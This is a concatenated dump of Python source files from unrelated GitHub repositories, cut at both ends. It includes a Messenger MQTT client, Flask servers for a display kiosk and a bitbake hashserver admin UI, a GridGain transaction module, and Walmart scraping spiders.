MQTT\")\n await self._reconnect()\n connection_retries = 0\n\n while True:\n try:\n await asyncio.sleep(1)\n except asyncio.CancelledError:\n self.disconnect()\n # this might not be necessary\n self._client.loop_misc()\n break\n rc = self._client.loop_misc()\n\n # If disconnect() has been called\n # Beware, internal API, may have to change this to something more stable!\n if self._client._state == pmc.mqtt_cs_disconnecting:\n break # Stop listening\n\n if rc != pmc.MQTT_ERR_SUCCESS:\n # If known/expected error\n if rc == pmc.MQTT_ERR_CONN_LOST:\n await self._dispatch(Disconnect(reason=\"Connection lost, retrying\"))\n elif rc == pmc.MQTT_ERR_NOMEM:\n # This error is wrongly classified\n # See https://github.com/eclipse/paho.mqtt.python/issues/340\n await self._dispatch(Disconnect(reason=\"Connection lost, retrying\"))\n elif rc == pmc.MQTT_ERR_CONN_REFUSED:\n raise MQTTNotLoggedIn(\"MQTT connection refused\")\n elif rc == pmc.MQTT_ERR_NO_CONN:\n if connection_retries > retry_limit:\n raise MQTTNotConnected(f\"Connection failed {connection_retries} times\")\n if self.proxy_handler.update_proxy_url():\n self.setup_proxy()\n await self._dispatch(ProxyUpdate())\n sleep = connection_retries * 2\n msg = f\"MQTT Error: no connection, retrying in {connection_retries} seconds\"\n await self._dispatch(Disconnect(reason=msg))\n await asyncio.sleep(sleep)\n else:\n err = pmc.error_string(rc)\n self.log.error(\"MQTT Error: %s\", err)\n await self._dispatch(Disconnect(reason=f\"MQTT Error: {err}, retrying\"))\n\n await self._reconnect()\n connection_retries += 1\n else:\n connection_retries = 0\n if self._event_dispatcher_task:\n self._event_dispatcher_task.cancel()\n self._event_dispatcher_task = None\n if self._disconnect_error:\n self.log.info(\"disconnect_error is set, raising and clearing variable\")\n err = self._disconnect_error\n self._disconnect_error = None\n raise err\n\n # region Basic outgoing MQTT\n\n @staticmethod\n def _publish_cancel_later(fut: asyncio.Future) -> None:\n if not fut.done():\n fut.set_exception(asyncio.TimeoutError(\"MQTT publish timed out\"))\n\n @staticmethod\n def _request_cancel_later(fut: asyncio.Future) -> None:\n if not fut.done():\n fut.set_exception(asyncio.TimeoutError(\"MQTT request timed out\"))\n\n def publish(\n self,\n topic: RealtimeTopic | str,\n payload: str | bytes | dict | ThriftObject,\n prefix: bytes = b\"\",\n compress: bool = True,\n ) -> asyncio.Future:\n if isinstance(payload, dict):\n payload = json.dumps(payload)\n if isinstance(payload, str):\n payload = payload.encode(\"utf-8\")\n if isinstance(payload, ThriftObject):\n payload = payload.to_thrift()\n if compress:\n payload = zlib.compress(prefix + payload, level=9)\n elif prefix:\n payload = prefix + payload\n info = self._client.publish(\n topic.encoded if isinstance(topic, RealtimeTopic) else topic, payload, qos=1\n )\n fut = self._loop.create_future()\n timeout_handle = self._loop.call_later(REQUEST_TIMEOUT, self._publish_cancel_later, fut)\n fut.add_done_callback(lambda _: timeout_handle.cancel())\n self._publish_waiters[info.mid] = fut\n return fut\n\n async def request(\n self,\n topic: RealtimeTopic,\n response: RealtimeTopic,\n payload: str | bytes | dict | ThriftObject,\n prefix: bytes = b\"\",\n ) -> pmc.MQTTMessage:\n async with self._response_waiter_locks[response]:\n fut = self._loop.create_future()\n self._response_waiters[response] = fut\n try:\n await self.publish(topic, payload, prefix)\n except asyncio.TimeoutError:\n self.log.warning(\"Publish timed out - try forcing reconnect\")\n self._client.reconnect()\n except MQTTNotConnected:\n self.log.warning(\n \"MQTT disconnected before PUBACK - wait a hot minute, we should get \"\n \"the response after we auto reconnect\"\n )\n timeout_handle = self._loop.call_later(\n REQUEST_TIMEOUT, self._request_cancel_later, fut\n )\n fut.add_done_callback(lambda _: timeout_handle.cancel())\n return await fut\n\n @staticmethod\n def generate_offline_threading_id() -> int:\n rand = format(int(random.random() * 4294967295), \"022b\")[-22:]\n return int(f\"{int(time.time() * 1000):b}{rand}\", 2)\n\n async def send_message(\n self,\n target: int,\n is_group: bool,\n message: str = \"\",\n offline_threading_id: int | None = None,\n media_ids: list[int] = None,\n mentions: list[Mention] | None = None,\n reply_to: str | None = None,\n ) -> SendMessageResponse:\n if not offline_threading_id:\n offline_threading_id = self.generate_offline_threading_id()\n req = SendMessageRequest(\n chat_id=f\"tfbid_{target}\" if is_group else str(target),\n message=message,\n offline_threading_id=offline_threading_id,\n sender_fbid=self.state.session.uid,\n reply_to=reply_to,\n media_ids=[str(i) for i in media_ids] if media_ids else None,\n client_tags={\"is_in_chatheads\": \"false\", \"trigger\": \"2:thread_list:thread\"},\n msg_attempt_id=self.generate_offline_threading_id(),\n )\n if mentions:\n req.extra_metadata = {\n \"prng\": json.dumps(\n [mention.serialize() for mention in mentions], separators=(\",\", \":\")\n )\n }\n await self.opened_thread(target)\n self.log.trace(\"Send message request: %s\", req)\n resp = await self.request(\n RealtimeTopic.SEND_MESSAGE,\n RealtimeTopic.SEND_MESSAGE_RESP,\n req,\n prefix=b\"\\x18\\x00\\x00\",\n )\n self.log.trace(\"Send message response: %s\", repr(resp.payload))\n return SendMessageResponse.from_thrift(resp.payload)\n\n async def opened_thread(self, target: int) -> None:\n if self._opened_thread == target:\n return\n self._opened_thread = target\n # req = OpenedThreadRequest()\n # req.chat_id = target\n # self.log.trace(\"Opened thread request: %s\", req)\n # await self.publish(RealtimeTopic.OPENED_THREAD, req)\n\n async def mark_read(\n self, target: int, is_group: bool, read_to: int, offline_threading_id: int | None = None\n ) -> None:\n if not offline_threading_id:\n offline_threading_id = self.generate_offline_threading_id()\n req = MarkReadRequest(read_to=read_to, offline_threading_id=offline_threading_id)\n if is_group:\n req.group_id = target\n else:\n req.user_id = target\n await self.opened_thread(target)\n self.log.trace(\"Mark read request: %s\", req)\n # resp = await self.request(\n # RealtimeTopic.MARK_THREAD_READ,\n # RealtimeTopic.MARK_THREAD_READ_RESPONSE,\n # req,\n # prefix=b\"\\x00\",\n # )\n # self.log.trace(\"Mark read response: %s\", repr(resp.payload))\n await self.publish(RealtimeTopic.MARK_THREAD_READ, req, prefix=b\"\\x00\")\n\n async def set_typing(self, target: int, typing: bool = True) -> None:\n req = SetTypingRequest(\n user_id=target, own_id=self.state.session.uid, typing_status=int(typing)\n )\n await self.publish(RealtimeTopic.SET_TYPING, req, prefix=b\"\\x00\")\n\n # endregion\n","repo_name":"MaximilianGaedig/facebook","sub_path":"maufbapi/mqtt/conn.py","file_name":"conn.py","file_ext":"py","file_size_in_byte":28084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"8891597467","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"energynews\",\n version=\"0.0.1\",\n author=\"Ayrton Bourn\",\n author_email=\"ayrton@futureenergy.associates\",\n description=\"EnergyNews is a Python library for retrieving the latest energy journalism\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/AyrtonB/Energy-News\",\n packages=setuptools.find_packages(),\n install_requires=[\n 'ipython',\n 'requests',\n 'pandas',\n 'numpy',\n 'lxml',\n 'beautifulsoup4',\n 'ipypb',\n 'xmltodict'\n ],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n ],\n python_requires=\">=3.7\",\n)","repo_name":"OSUKED/Energy-News","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"18926645154","text":"import io\nimport time\nimport traceback\nimport sentry_sdk\nfrom flask import Flask, send_file\nfrom flask_socketio import SocketIO, emit\nfrom typing import Optional, Any\nfrom threading import Event\n\nfrom .config import Config\nfrom .logger import Logger\nfrom .app_handler import AppHandler\nfrom .image_handler import ImageHandler\nfrom .button_handler import ButtonHandler\nfrom .metrics_logger import MetricsLogger\nfrom .scheduler import Scheduler\nfrom .touch_click_handler import TouchClickHandler\n\n\nclass Server:\n def __init__(self, config: Config, logger: Logger):\n self.config = config\n self.logger = logger\n\n frame_dsn = self.config.settings.get('sentry', {}).get('frame_dsn', None)\n if frame_dsn:\n sentry_sdk.init(dsn=frame_dsn, traces_sample_rate=1.0, profiles_sample_rate=1.0)\n\n self.app: Flask = Flask(__name__)\n self.app.config['SECRET_KEY'] = 'secret!'\n self.socketio: SocketIO = SocketIO(self.app, async_mode='threading')\n self.logger.set_socketio(self.socketio)\n self.logger.log({ 'event': '@frame:startup', **({'sentry': True} if frame_dsn else {}) })\n\n self.app_handler: AppHandler = AppHandler(self.config, self.logger)\n self.image_handler: ImageHandler = ImageHandler(self.logger, self.socketio, self.config, self.app_handler)\n self.app_handler.register_image_handler(self.image_handler)\n self.app_handler.init()\n\n self.saved_image: Optional[Any] = None\n self.saved_bytes: Optional[bytes] = None\n self.saved_format: Optional[str] = None\n\n @self.app.route('/')\n def index():\n with open(\"index.html\", \"r\") as file:\n content = file.read()\n return content.replace('{_body_class_}', '')\n \n @self.app.route('/kiosk')\n def kiosk():\n with open(\"index.html\", \"r\") as file:\n content = file.read()\n return content.replace('{_body_class_}', 'kiosk')\n\n @self.app.route('/image')\n def image():\n try:\n self.logger.log(\n {'event': '@frame:http_get_image'})\n image = self.image_handler.kiosk_image.copy()\n if image is None:\n raise ValueError(\"No image to render. Image is None.\")\n if image.size[0] == 0 or image.size[1] == 0:\n raise ValueError(\"No image to render. Image width and height are zero.\")\n\n if image != self.saved_image or self.saved_bytes is None:\n export_start = time.time()\n bytes_buffer = io.BytesIO()\n self.saved_format = image.format or 'png'\n self.logger.log(\n {'event': '@frame:export_image', 'format': self.saved_format})\n image.save(bytes_buffer, format=self.saved_format)\n self.saved_image = image\n self.saved_bytes = bytes_buffer.getvalue()\n self.logger.log(\n {'event': '@frame:export_image_done', 'format': self.saved_format, 'seconds': round(time.time() - export_start, 2)})\n\n bytes_buffer = io.BytesIO(self.saved_bytes)\n\n return send_file(bytes_buffer, mimetype=f'image/{self.saved_format.lower()}', as_attachment=False)\n except Exception as e:\n self.logger.log({ 'event': '@frame:error_serving_image', 'error': str(e), 'stacktrace': traceback.format_exc() })\n\n @self.app.route('/logs')\n def logs():\n return self.logger.get()\n\n @self.app.route('/event/render')\n def event_render():\n self.image_handler.render_image('http trigger')\n return \"OK\"\n\n @self.app.route('/display_off')\n def display_off():\n self.image_handler.display_off()\n return \"off\"\n\n @self.app.route('/display_toggle')\n def display_toggle():\n on = self.image_handler.display_toggle()\n return \"on\" if on else \"off\"\n\n @self.app.route('/display_on')\n def display_on():\n self.image_handler.display_on()\n return \"on\"\n\n @self.socketio.on('connect')\n def test_connect():\n emit('log_event', {'logs': self.logger.get()})\n\n def run(self):\n if self.config.device == 'pimoroni.inky_impression':\n ButtonHandler(self.logger, [5, 6, 16, 24], ['A', 'B', 'C', 'D'], self.image_handler, self.app_handler)\n touch_handler = TouchClickHandler(self.logger, self.image_handler, self.app_handler)\n touch_handler.start()\n reset_event: Event = Event()\n\n Scheduler(image_handler=self.image_handler, reset_event=reset_event, logger=self.logger, config=self.config)\n MetricsLogger(image_handler=self.image_handler, reset_event=reset_event, logger=self.logger, config=self.config)\n\n self.image_handler.render_image('bootup')\n self.logger.log({'event': '@frame:server_start', 'message': 'Starting web kiosk server on port 8999'})\n self.socketio.run(self.app, host='0.0.0.0', port=8999, allow_unsafe_werkzeug=True)\n","repo_name":"FrameOS/frameos","sub_path":"frameos/frame/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5185,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"43088149898","text":"import unittest\nfrom src.lauseenmuodostus import Lauseenmuodostus\nfrom src.trie import Trie\n\n\nclass TestLauseenmuodostus(unittest.TestCase):\n def setUp(self):\n self.puu = Trie()\n self.lauseenmuodostus = Lauseenmuodostus(self.puu)\n\n def test_muodosta_lause_toimii_oikein_tyhjalla_puulla(self):\n vastaus = self.lauseenmuodostus.muodosta_lause()\n\n self.assertEqual(vastaus, \"\")\n\n def test_muodosta_lause_tuottaa_aina_ei_tyhjan_merkkijonon_jossa_on_sanoja_puulla_jossa_on_tekstia(self):\n self.puu.lisaa_tekstia(\n \"Olen pieni, punainen kissa, joka kiipesi puuhun.\")\n lause = self.lauseenmuodostus.muodosta_lause()\n vastaus = (len(lause) >= 19)\n\n self.assertEqual(vastaus, True)\n","repo_name":"MillaKelhu/Lausegeneraattori_tiralabra2021","sub_path":"src/tests/lauseenmuodostus_test.py","file_name":"lauseenmuodostus_test.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19206574692","text":"import uvicorn\nfrom fastapi import FastAPI\nfrom fastapi.responses import HTMLResponse\n\nfrom routes import debug\nfrom routes import post\n\nfrom internal_schemes.dao.base import init_models\nfrom settings import app_settings\n\ninit_models()\napp = FastAPI(title=\"Gymmate External API\")\n\n# Add URL routers to the API\napp.include_router(debug.router)\napp.include_router(post.router)\n\n\n@app.get(\n \"/\",\n summary=\"Index page\",\n response_class=HTMLResponse,\n description=\"Links to docs/schemas in Fashion External API\",\n)\nasync def root() -> str:\n return \"\"\"Gymmate External API documentation\"\"\"\n\n\ndef main() -> None:\n uvicorn.run(\n \"main:app\",\n host=app_settings.hostname,\n port=app_settings.port,\n log_level=\"debug\",\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GymmateInc/Backend","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74566393153","text":"import contextvars\n\nimport attr\n\nfrom pygridgain.datatypes import Byte, String, Long, Int, Bool\nfrom pygridgain.exceptions import CacheError\nfrom pygridgain.queries import Query, query_perform\nfrom pygridgain.queries.op_codes import OP_TX_START, OP_TX_END\n\n__CURRENT_TX = contextvars.ContextVar('current_tx', default=None)\n\n\ndef get_tx_id():\n ctx = __CURRENT_TX.get() if __CURRENT_TX else None\n return ctx.tx_id if ctx else None\n\n\ndef get_tx_connection():\n ctx = __CURRENT_TX.get() if __CURRENT_TX else None\n return ctx.conn if ctx else None\n\n\n@attr.s\nclass TransactionContext:\n tx_id = attr.ib(type=int, default=None)\n conn = attr.ib(default=None)\n\n\ndef tx_start(conn, concurrency, isolation, timeout: int = 0, label: str = None):\n result = __tx_start(conn, concurrency, isolation, timeout, label)\n return __tx_start_post_process(result, conn)\n\n\nasync def tx_start_async(conn, concurrency, isolation, timeout: int = 0, label: str = None):\n result = await __tx_start(conn, concurrency, isolation, timeout, label)\n return __tx_start_post_process(result, conn)\n\n\ndef __tx_start(conn, concurrency, isolation, timeout, label):\n query_struct = Query(\n OP_TX_START,\n [\n ('concurrency', Byte),\n ('isolation', Byte),\n ('timeout', Long),\n ('label', String)\n ]\n )\n return query_perform(\n query_struct, conn,\n query_params={\n 'concurrency': concurrency,\n 'isolation': isolation,\n 'timeout': timeout,\n 'label': label\n },\n response_config=[\n ('tx_id', Int)\n ]\n )\n\n\ndef tx_end(tx_id, committed):\n ctx = __CURRENT_TX.get()\n\n if not ctx or ctx.tx_id != tx_id:\n raise CacheError(\"Cannot commit transaction from different thread or coroutine\")\n\n try:\n return __tx_end(ctx.conn, tx_id, committed)\n finally:\n __CURRENT_TX.set(None)\n\n\nasync def tx_end_async(tx_id, committed):\n ctx = __CURRENT_TX.get()\n\n if not ctx or ctx.tx_id != tx_id:\n raise CacheError(\"Cannot commit transaction from different thread or coroutine\")\n\n try:\n return await __tx_end(ctx.conn, tx_id, committed)\n finally:\n __CURRENT_TX.set(None)\n\n\ndef __tx_end(conn, tx_id, committed):\n query_struct = Query(\n OP_TX_END,\n [\n ('tx_id', Int),\n ('committed', Bool)\n ],\n )\n return query_perform(\n query_struct, conn,\n query_params={\n 'tx_id': tx_id,\n 'committed': committed\n }\n )\n\n\ndef __tx_start_post_process(result, conn):\n if result.status == 0:\n tx_id = result.value['tx_id']\n __CURRENT_TX.set(TransactionContext(tx_id, conn))\n result.value = tx_id\n return result\n","repo_name":"gridgain/python-thin-client","sub_path":"pygridgain/api/tx_api.py","file_name":"tx_api.py","file_ext":"py","file_size_in_byte":2798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12741961377","text":"import sys\nimport os\nimport contextlib\nfrom functools import wraps\nimport flask\nfrom flask import Flask, request, render_template\n\napp = Flask(__name__)\napp.config.from_prefixed_env(\"HSUI\")\n\n# The path to bitbake\nBITBAKE_PATH = app.config.get(\"BITBAKE_PATH\", \"/usr/share/bitbake-hashserver\")\n\nsys.path.insert(0, f\"{BITBAKE_PATH}/lib\")\n\nimport hashserv\nimport hashserv.server\nimport bb.asyncrpc\n\n# Optional host where the application should bind\nHOST = app.config.get(\"HOST\", \"127.0.0.1\")\n\n# Optional port where the application should bind\nPORT = int(app.config.get(\"PORT\", 8000))\n\n# The address to use to connect to the hash equivalence server\nHASHSERVER_ADDRESS = app.config[\"HASHSERVER_ADDRESS\"]\n\n# The user this application should use to authenticate with the hash\n# equivalence server. This user must have \"@user-admin\" permissions\nHASHSERVER_USER = app.config[\"HASHSERVER_USER\"]\n\n# The password (or token) that this user should use to authenticate with the\n# hash equivalence server\nHASHSERVER_PASSWORD = app.config[\"HASHSERVER_PASSWORD\"]\n\n# The default permissions that should be assigned to users when they self\n# register, as a space separated list. \"@read\" or \"@none\" is recommended\nDEFAULT_PERMS = app.config[\"DEFAULT_PERMS\"].split()\n\n# Optional boolean that indicates if authenticated users are allowed to\n# register their own user accounts. If enabled, the account will be given the\n# DEFAULT_PERMS permissions when created\nSELF_REGISTER_ENABLED = app.config.get(\"SELF_REGISTER_ENABLED\", 0) in (1, \"true\")\n\n# Optional contact information for the server admin. Will be shown to users if\n# self-registration is disabled\nADMIN_CONTACT = app.config.get(\"ADMIN_CONTACT\")\n\n# The name of the HTTP header that contains the name of the authenticated user.\n# If set, it is expected that a front end authentication mechanism is being\n# used to authenticate users, and the name of the user is set in this header.\n# For example, if you are using OAuth2-proxy, this should be\n# \"X-Auth-Request-User\"\nUSERNAME_HEADER = app.config.get(\"USERNAME_HEADER\")\n\n\n# Optional user to authenticate as if the system cannot otherwise determine the\n# user. This is ONLY FOR TESTING as it is highly insecure.\nTEST_USER = app.config.get(\"TEST_USER\")\n\n\ndef get_username():\n if USERNAME_HEADER and USERNAME_HEADER in request.headers:\n return request.headers[USERNAME_HEADER]\n\n if TEST_USER:\n return TEST_USER\n\n app.logger.error(\"Unable to determine current user. Headers:\\n%s\", request.headers)\n\n return None\n\n\ndef admin_client():\n return hashserv.create_client(\n HASHSERVER_ADDRESS,\n HASHSERVER_USER,\n HASHSERVER_PASSWORD,\n )\n\n\n@contextlib.contextmanager\ndef user_client(username):\n with admin_client() as client:\n client.become_user(username)\n yield client\n\n\n@contextlib.contextmanager\ndef api_client():\n username = get_username()\n if username is None:\n raise Exception(\"Unable to determine current user\")\n\n with admin_client() as client:\n client.become_user(username)\n yield client\n\n\ndef error_page(message, detail):\n return render_template(\"error.html.j2\", message=message, detail=detail)\n\n\ndef no_user_error_page():\n return error_page(\n \"Unable to determine current user\",\n \"Server is probably configured incorrectly\",\n )\n\n\ndef get_post_data(*keys):\n data = request.get_json()\n if not data:\n raise Exception(\"POST data is missing or not JSON\")\n\n result = {}\n for k in keys:\n val = data.get(k, None)\n if val is None:\n raise Exception(f\"'{k}' missing in POST data\")\n result[k] = val\n\n return result\n\n\ndef api(proc):\n @wraps(proc)\n def decorator():\n try:\n with api_client() as client:\n return proc(client)\n except (bb.asyncrpc.InvokeError, bb.asyncrpc.ClientError) as e:\n return {\"error\": \"Unable to complete request: \" + str(e)}\n except Exception as e:\n return {\"error\": str(e)}\n\n return decorator\n\n\ndef user_page(proc):\n @wraps(proc)\n def decorator():\n username = get_username()\n if username is None:\n return no_user_error_page()\n\n try:\n return proc(username)\n except (bb.asyncrpc.InvokeError, bb.asyncrpc.ClientError) as e:\n return error_page(\"Error accessing server\", str(e))\n\n return decorator\n\n\n@app.route(\"/\")\n@user_page\ndef main(username):\n register = request.args.get(\"register\", \"false\") == \"true\"\n\n with admin_client() as client:\n user = client.get_user(username)\n\n if user is None:\n if register and SELF_REGISTER_ENABLED:\n try:\n user = client.new_user(username, DEFAULT_PERMS)\n except (bb.asyncrpc.InvokeError, bb.asyncrpc.ClientError) as e:\n return error_page(f\"Unable to create user {username}\", str(e))\n else:\n return render_template(\n \"no-user.html.j2\",\n username=username,\n self_reg_enabled=SELF_REGISTER_ENABLED,\n admin_contact=ADMIN_CONTACT,\n )\n\n return render_template(\n \"index.html.j2\",\n user=user,\n self_reg_enabled=SELF_REGISTER_ENABLED,\n )\n\n\n@app.route(\"/query\")\n@user_page\ndef query(username):\n with user_client(username) as client:\n return render_template(\"query.html.j2\", user=client.get_user())\n\n\n@app.route(\"/api/query\", methods=[\"POST\"])\n@api\ndef db_query(client):\n data = get_post_data(\"method\", \"taskhash\", \"outhash\")\n\n if data[\"outhash\"]:\n result = client.get_outhash(data[\"method\"], data[\"outhash\"], data[\"taskhash\"])\n else:\n result = client.get_taskhash(\n data[\"method\"], data[\"taskhash\"], all_properties=True\n )\n\n if result is None:\n raise Exception(\"No matching data found\")\n\n return result\n\n\n@app.route(\"/users\")\n@user_page\ndef get_users(username):\n with user_client(username) as client:\n return render_template(\n \"all-users.html.j2\",\n all_perms=sorted(list(hashserv.server.ALL_PERMISSIONS)),\n admin_user=HASHSERVER_USER,\n default_perms=DEFAULT_PERMS,\n user=client.get_user(),\n )\n\n\n@app.route(\"/api/user-admin/delete\", methods=[\"POST\"])\n@api\ndef user_admin_delete(client):\n data = get_post_data(\"username\")\n client.delete_user(data[\"username\"])\n return {\"deleted\": [data[\"username\"]]}\n\n\n@app.route(\"/api/user-admin/set-perms\", methods=[\"POST\"])\n@api\ndef user_admin_set_perms(client):\n data = get_post_data(\"username\", \"permissions\")\n return client.set_user_perms(data[\"username\"], data[\"permissions\"])\n\n\n@app.route(\"/api/user-admin/reset\", methods=[\"POST\"])\n@api\ndef user_admin_reset_token(client):\n data = get_post_data(\"username\")\n return client.refresh_token(data[\"username\"])\n\n\n@app.route(\"/api/user-admin/new-user\", methods=[\"POST\"])\n@api\ndef user_admin_new_user(client):\n data = get_post_data(\"username\", \"permissions\")\n return client.new_user(data[\"username\"], data[\"permissions\"])\n\n\n@app.route(\"/api/user-admin/all-users\")\n@api\ndef user_admin_all_users(client):\n return {\"users\": client.get_all_users()}\n\n\n@app.route(\"/database\")\n@user_page\ndef database(username):\n with user_client(username) as client:\n return render_template(\n \"database.html.j2\",\n query_columns=sorted(client.get_db_query_columns()),\n user=client.get_user(),\n )\n\n\n@app.route(\"/api/db/remove-unused\", methods=[\"POST\"])\n@api\ndef db_remove_unused(client):\n data = get_post_data(\"age-seconds\")\n return client.clean_unused(int(data[\"age-seconds\"]))\n\n\n@app.route(\"/api/db/remove\", methods=[\"POST\"])\n@api\ndef db_remove(client):\n data = get_post_data(\"where\")\n if not isinstance(data[\"where\"], dict):\n raise TypeError(\"where must be a dictionary\")\n return client.remove(data[\"where\"])\n\n\n@app.route(\"/api/db/usage\")\n@api\ndef db_stats(client):\n return {\"usage\": client.get_db_usage()}\n\n\n@app.route(\"/stats\")\n@user_page\ndef stats(username):\n with user_client(username) as client:\n user = client.get_user()\n\n stats = client.get_stats()\n info = []\n columns = set()\n\n for name in sorted(stats.keys()):\n s = {\"name\": name}\n for k, v in stats[name].items():\n if isinstance(v, float):\n v = \"{0:.3f}\".format(v)\n s[k] = v\n columns.add(k)\n info.append(s)\n\n return render_template(\n \"stats.html.j2\",\n info=info,\n columns=sorted(list(columns)),\n user=user,\n )\n\n\n@app.route(\"/api/reset-stats\", methods=[\"POST\"])\n@api\ndef reset_stats(client):\n return client.reset_stats()\n\n\n@app.after_request\ndef disable_caching(r):\n r.headers[\"Pragma\"] = \"no-cache\"\n r.headers[\"Expires\"] = \"0\"\n r.headers[\n \"Cache-Control\"\n ] = \"no-cache, no-store, must-revalidate, public, max-age=0\"\n return r\n\n\nif __name__ == \"__main__\":\n app.run(host=HOST, port=PORT)\n","repo_name":"JoshuaWatt/bitbake-hashserver-web-ui","sub_path":"src/bitbake_hashserver_web_ui/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27499753228","text":"import sys\nfrom itertools import permutations\n\nsys.stdin = open('input.txt')\n\nN = int(input())\n\nper = list(permutations(range(1, 10), 3))\n# print(per)\n\n\nfor _ in range(N):\n num, s, b = map(int, input().split())\n num = list(str(num))\n\n remove_cnt = 0\n\n for i in range(len(per)):\n i -= remove_cnt\n s_cnt = b_cnt = 0\n for j in range(3):\n num[j] = int(num[j])\n if num[j] in per[i]:\n if j == per[i].index(num[j]):\n s_cnt += 1\n else:\n b_cnt += 1\n\n if s_cnt != s or b_cnt != b:\n per.remove(per[i])\n remove_cnt += 1\n\nprint(len(per))\n\n","repo_name":"khjeon5328/today_algorithm","sub_path":"2021/2021.08월/1일/2503.py","file_name":"2503.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41790857115","text":"from scrapy.spider import BaseSpider\nfrom scrapy.selector import HtmlXPathSelector\nfrom scrapy.http import Request\nfrom scrapy.http import TextResponse, HtmlResponse\nfrom scrapy.http import Response\nfrom scrapy.exceptions import CloseSpider\nfrom search.items import SearchItem\nfrom search.items import WalmartItem\nfrom search.spiders.search_spider import SearchSpider\nfrom search.spiders.search_product_spider import SearchProductSpider\nfrom scrapy import log\n\nfrom spiders_utils import Utils\nfrom search.matching_utils import ProcessText\n\nimport re\nimport sys\n\n# spider derived from search spider to search for products on Walmart\nclass WalmartSpider(SearchProductSpider):\n\n name = \"walmart\"\n handle_httpstatus_list = [520]\n\n # initialize fields specific to this derived spider\n def init_sub(self):\n self.target_site = \"walmart\"\n self.start_urls = [ \"http://www.walmart.com\" ]\n\n def extract_results(self, response):\n hxs = HtmlXPathSelector(response)\n\n # TODO: check this xpath and extractions\n results = hxs.select(\"//h4[@class='tile-heading']/a\")\n product_urls = set()\n\n # try xpath for old page version\n if not results:\n results = hxs.select(\"//div[@class='prodInfo']/div[@class='prodInfoBox']/a[@class='prodLink ListItemLink']\")\n\n for result in results:\n product_url = result.select(\"@href\").extract()[0]\n product_url = Utils.add_domain(product_url, \"http://www.walmart.com\")\n product_urls.add(product_url)\n\n return list(product_urls)\n\n def extract_product_data(self, response, item):\n hxs = HtmlXPathSelector(response)\n\n # assume new design of walmart product page\n product_name_node = hxs.select(\"//h1[contains(@class, 'product-name')]//text()\").extract()\n\n if not product_name_node:\n # assume old design\n product_name_node = hxs.select(\"//h1[contains(@class, 'productTitle')]//text()\").extract()\n\n if product_name_node:\n product_name = \"\".join(product_name_node).strip()\n else:\n self.log(\"Error: No product name: \" + str(response.url) + \" for source product \" + origin_url, level=log.ERROR)\n # TODO:is this ok? I think so\n # return\n\n if product_name_node:\n item['product_name'] = product_name\n\n # extract product model number\n # TODO: use meta? works for both old and new?\n\n # extract features table for new page version:\n table_node = hxs.select(\"//div[@class='specs-table']/table\").extract()\n\n if not table_node:\n # old page version:\n table_node = hxs.select(\"//table[@class='SpecTable']\").extract()\n\n if table_node:\n try:\n product_model = table_node.select(\".//td[contains(text(),'Model')]/following-sibling::*/text()\").extract()[0]\n item['product_model'] = product_model\n except:\n pass\n\n upc_node = hxs.select(\"//meta[@itemprop='productID']/@content\")\n if upc_node:\n item['product_upc'] = [upc_node.extract()[0]]\n\n\n brand_holder = hxs.select(\"//meta[@itemprop='brand']/@content\").extract()\n if brand_holder:\n item['product_brand'] = brand_holder[0]\n\n # extract price\n # TODO: good enough for all pages? could also extract from page directly\n price_holder = hxs.select(\"//meta[@itemprop='price']/@content\").extract()\n product_target_price = None\n if price_holder:\n product_target_price = price_holder[0].strip()\n\n else:\n product_target_price = \"\".join(hxs.select(\"//div[@itemprop='price']//text()\").extract()).strip()\n\n # if we can't find it like above try other things:\n if product_target_price:\n # remove commas separating orders of magnitude (ex 2,000)\n product_target_price = re.sub(\",\",\"\",product_target_price)\n m = re.match(\"\\$([0-9]+\\.?[0-9]*)\", product_target_price)\n if m:\n item['product_target_price'] = float(m.group(1))\n else:\n self.log(\"Didn't match product price: \" + product_target_price + \" \" + response.url + \"\\n\", level=log.WARNING)\n\n else:\n self.log(\"Didn't find product price: \" + response.url + \"\\n\", level=log.INFO)\n\n try:\n item['product_category_tree'] = hxs.select(\"//li[@class='breadcrumb']/a/span[@itemprop='name']/text()\").extract()[1:]\n except:\n pass\n\n try:\n item['product_keywords'] = hxs.select(\"//meta[@name='keywords']/@content\").extract()[0]\n except:\n pass\n\n return item\n\n\n# spider that receives a list of Walmart product ids (or of Walmart URLs of the type http://www.walmart.com/)\n# and outputs the product's page full URL as found on Walmart\n########################\n# Run with:\n# scrapy crawl walmart_fullurls -a ids_file= [-a outfile=]\n#\n#\n########################\nclass WalmartFullURLsSpider(BaseSpider):\n name = \"walmart_fullurls\"\n\n allowed_domains = [\"walmart.com\"]\n start_urls = [\"http://www.walmart.com\"]\n\n def __init__(self, ids_file, outfile=None):\n self.ids_file = ids_file\n self.outfile = outfile\n\n # extract ids from URLs in input file (of type http://www.walmart.com/ip/) and store them in a list\n self.walmart_ids = []\n with open(self.ids_file, \"r\") as infile:\n for line in infile:\n m = re.match(\"http://www.walmart.com/ip/([0-9]+)\", line.strip())\n if m:\n walmart_id = m.group(1)\n self.walmart_ids.append(walmart_id)\n else:\n self.log(\"ERROR: Invalid (short) URL file\" + \"\\n\", level = log.ERROR)\n #raise 